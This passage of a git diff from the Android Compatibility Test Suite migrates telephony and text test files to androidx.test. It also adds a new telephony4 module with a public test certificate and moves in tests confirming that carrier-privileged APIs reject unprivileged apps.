+                if (tm.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+                    String meid = mTelephonyManager.getMeid(slotIndex);
+                    if (!TextUtils.isEmpty(meid)) {
+                        assertMeidEsn(meid);
+                    }
+                }
             }
         }
 
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index d25bbc6..9afa104 100644
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -23,9 +23,10 @@
 
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.support.test.runner.AndroidJUnit4;
 import android.telephony.euicc.DownloadableSubscription;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
index e6b122eb..30dfb4f 100644
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
@@ -22,14 +22,14 @@
 
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.support.test.runner.AndroidJUnit4;
+import android.telephony.euicc.EuiccInfo;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.telephony.euicc.EuiccInfo;
-
 @RunWith(AndroidJUnit4.class)
 public class EuiccInfoTest {
 
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 920486e5..70b47f9 100644
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -25,12 +25,13 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.telephony.euicc.DownloadableSubscription;
 import android.telephony.euicc.EuiccInfo;
 import android.telephony.euicc.EuiccManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index b86cae1..90cfe97 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -23,8 +23,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util
+    ctstestrunner-axt \
+    compatibility-device-util-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/telephony2/AndroidManifest.xml b/tests/tests/telephony2/AndroidManifest.xml
index 6b8ec0c..76a5888 100644
--- a/tests/tests/telephony2/AndroidManifest.xml
+++ b/tests/tests/telephony2/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.telephony2.cts">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/telephony4/Android.mk b/tests/tests/telephony4/Android.mk
new file mode 100644
index 0000000..6f36b53
--- /dev/null
+++ b/tests/tests/telephony4/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := telephony-common \
+    android.test.runner.stubs \
+    android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
+    truth-prebuilt
+
+LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSimRestrictedApisTestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/tests/tests/telephony4/certs/android_telephony_cts_testkey
+
+
+include $(BUILD_CTS_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telephony4/AndroidManifest.xml b/tests/tests/telephony4/AndroidManifest.xml
new file mode 100644
index 0000000..aa4221f
--- /dev/null
+++ b/tests/tests/telephony4/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephony4.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telephony4.cts"
+                     android:label="CTS tests of android.telephony4">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telephony4/AndroidTest.xml b/tests/tests/telephony4/AndroidTest.xml
new file mode 100644
index 0000000..636ecbb
--- /dev/null
+++ b/tests/tests/telephony4/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Telephony4 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSimRestrictedApisTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephony4.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8 b/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8
new file mode 100644
index 0000000..f83d5ed
--- /dev/null
+++ b/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8
Binary files differ
diff --git a/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem b/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem
new file mode 100644
index 0000000..29ffd6a
--- /dev/null
+++ b/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem
@@ -0,0 +1,30 @@
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
diff --git a/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java b/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
similarity index 82%
rename from tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
rename to tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
index b15a4e8..dd56952 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony.cts;
+package android.telephony4.cts;
 
 import android.content.Context;
 import android.telephony.SmsManager;
@@ -67,21 +67,6 @@
     }
 
     /**
-     * Tests the TelephonyManager.setLine1NumberForDisplay(long, string, string) API. This makes a
-     * call to setLine1NumberForDisplay() API and expects a SecurityException since the test apk is
-     * not signed by the certificate on the SIM.
-     */
-    public void testSetLine1NumberForDisplay2() {
-        try {
-            if (isSimCardPresent()) {
-                TelephonyManager.getDefault().setLine1NumberForDisplay(0, "", "");
-                fail("Expected SecurityException. App doesn't have carrier privileges.");
-            }
-        } catch (SecurityException expected) {
-        }
-    }
-
-    /**
      * Tests the TelephonyManager.iccOpenLogicalChannel() API. This makes a call to
      * iccOpenLogicalChannel() API and expects a SecurityException since the test apk is not signed
      * by certificate on the SIM.
@@ -89,7 +74,8 @@
     public void testIccOpenLogicalChannel() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccOpenLogicalChannel("");
+                TelephonyManager.getDefault().iccCloseLogicalChannel(
+                        TelephonyManager.getDefault().iccOpenLogicalChannel("").getChannel());
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -171,41 +157,13 @@
     }
 
     /**
-     * Tests the TelephonyManager.nvWriteItem() API. This makes a call to nvWriteItem() API and
-     * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
-     */
-    public void testNvWriteItem() {
-        try {
-            if (isSimCardPresent()) {
-                TelephonyManager.getDefault().nvWriteItem(0, "");
-                fail("Expected SecurityException. App doesn't have carrier privileges.");
-            }
-        } catch (SecurityException expected) {
-        }
-    }
-
-    /**
-     * Tests the TelephonyManager.nvWriteCdmaPrl() API. This makes a call to nvWriteCdmaPrl() API
-     * and expects a SecurityException since the test apk is not signed by a certificate on the SIM.
-     */
-    public void testNvWriteCdmaPrl() {
-        try {
-            if (isSimCardPresent()) {
-                TelephonyManager.getDefault().nvWriteCdmaPrl(null);
-                fail("Expected SecurityException. App doesn't have carrier privileges.");
-            }
-        } catch (SecurityException expected) {
-        }
-    }
-
-    /**
      * Tests the TelephonyManager.nvResetConfig() API. This makes a call to nvResetConfig() API and
      * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
      */
     public void testNvResetConfig() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().nvResetConfig(0);
+                TelephonyManager.getDefault().nvResetConfig(1);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -246,7 +204,7 @@
      * Tests that the test apk doesn't have carrier previliges.
      */
     public void testHasCarrierPrivileges() {
-        if (TelephonyManager.getDefault().hasCarrierPrivileges()) {
+        if (mTelephonyManager.hasCarrierPrivileges()) {
             fail("App unexpectedly has carrier privileges");
         }
     }
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index b56278c..5f3b5a6 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -24,10 +24,10 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
-    android-support-test \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/text/AndroidManifest.xml b/tests/tests/text/AndroidManifest.xml
index bae8481..8534b42 100644
--- a/tests/tests/text/AndroidManifest.xml
+++ b/tests/tests/text/AndroidManifest.xml
@@ -76,7 +76,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.text.cts"
                      android:label="CTS tests of android.text">
         <meta-data android:name="listener"
diff --git a/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java b/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
index e80d233..b65dc0c 100644
--- a/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
+++ b/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
@@ -21,11 +21,12 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.AlteredCharSequence;
 import android.text.Spanned;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java b/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
index 16a8344..ffa20de 100644
--- a/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
+++ b/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
@@ -21,10 +21,11 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.AndroidCharacter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/AnnotationTest.java b/tests/tests/text/src/android/text/cts/AnnotationTest.java
index a74bc62..28ebca4 100644
--- a/tests/tests/text/src/android/text/cts/AnnotationTest.java
+++ b/tests/tests/text/src/android/text/cts/AnnotationTest.java
@@ -20,10 +20,11 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Annotation;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/AutoTextTest.java b/tests/tests/text/src/android/text/cts/AutoTextTest.java
index e3d1b52..1539deb9 100644
--- a/tests/tests/text/src/android/text/cts/AutoTextTest.java
+++ b/tests/tests/text/src/android/text/cts/AutoTextTest.java
@@ -23,13 +23,14 @@
 
 import android.content.Context;
 import android.content.res.Configuration;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.AutoText;
 import android.view.View;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
index d5277f5..c926723 100644
--- a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
+++ b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
@@ -22,14 +22,15 @@
 import static org.junit.Assert.assertTrue;
 
 import android.icu.util.ULocale;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.BidiFormatter;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.TextDirectionHeuristics;
 import android.text.style.RelativeSizeSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index 847e127..5f17b32 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -38,8 +38,6 @@
 import android.graphics.Canvas;
 import android.graphics.Paint;
 import android.os.LocaleList;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.BoringLayout;
 import android.text.BoringLayout.Metrics;
 import android.text.Layout;
@@ -50,6 +48,9 @@
 import android.text.TextPaint;
 import android.text.TextUtils;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java b/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
index 3dc4b73..edb39cf 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
@@ -18,10 +18,11 @@
 
 import static org.junit.Assert.assertNotNull;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.BoringLayout;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java b/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
index 39eadce..8d1f4b5 100644
--- a/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
+++ b/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
@@ -21,10 +21,11 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.ClipboardManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 42c119a..9537243 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -27,8 +27,6 @@
 import static org.mockito.Mockito.mock;
 
 import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.DynamicLayout;
 import android.text.Layout;
 import android.text.SpannableStringBuilder;
@@ -37,6 +35,9 @@
 import android.text.TextUtils;
 import android.text.style.TypefaceSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java b/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
index aa42505..9f2d2c9 100644
--- a/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
+++ b/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
@@ -19,12 +19,13 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Editable.Factory;
 import android.text.SpannableStringBuilder;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/EmojiTest.java b/tests/tests/text/src/android/text/cts/EmojiTest.java
index cb719e9..ec00c8d 100644
--- a/tests/tests/text/src/android/text/cts/EmojiTest.java
+++ b/tests/tests/text/src/android/text/cts/EmojiTest.java
@@ -25,12 +25,6 @@
 import android.graphics.Canvas;
 import android.graphics.Paint;
 import android.graphics.Picture;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.TypedValue;
 import android.view.KeyEvent;
 import android.view.View;
@@ -38,6 +32,13 @@
 import android.widget.EditText;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index 465277d..0006002 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -23,8 +23,9 @@
 import android.icu.lang.UCharacter;
 import android.icu.lang.UCharacterCategory;
 import android.icu.text.UnicodeSet;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CddTest;
 
diff --git a/tests/tests/text/src/android/text/cts/GetCharsTest.java b/tests/tests/text/src/android/text/cts/GetCharsTest.java
index 8faf638..440b46b 100644
--- a/tests/tests/text/src/android/text/cts/GetCharsTest.java
+++ b/tests/tests/text/src/android/text/cts/GetCharsTest.java
@@ -19,13 +19,14 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.GetChars;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.SpannedString;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/HtmlTest.java b/tests/tests/text/src/android/text/cts/HtmlTest.java
index 880da6e..7f785a8 100644
--- a/tests/tests/text/src/android/text/cts/HtmlTest.java
+++ b/tests/tests/text/src/android/text/cts/HtmlTest.java
@@ -22,8 +22,6 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Typeface;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
 import android.text.Spannable;
@@ -42,6 +40,9 @@
 import android.text.style.URLSpan;
 import android.text.style.UnderlineSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.hamcrest.BaseMatcher;
 import org.hamcrest.Description;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
index 8b351b5..42e0d89 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
@@ -21,8 +21,6 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputFilter;
 import android.text.InputFilter.AllCaps;
 import android.text.SpannableString;
@@ -30,6 +28,9 @@
 import android.text.Spanned;
 import android.text.SpannedString;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java b/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
index 722ad19..45e7643 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
@@ -18,12 +18,13 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputFilter;
 import android.text.InputFilter.LengthFilter;
 import android.text.SpannableStringBuilder;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/cts/LayoutTest.java b/tests/tests/text/src/android/text/cts/LayoutTest.java
index d6cd89c..719ee00 100644
--- a/tests/tests/text/src/android/text/cts/LayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/LayoutTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.TextPaint;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
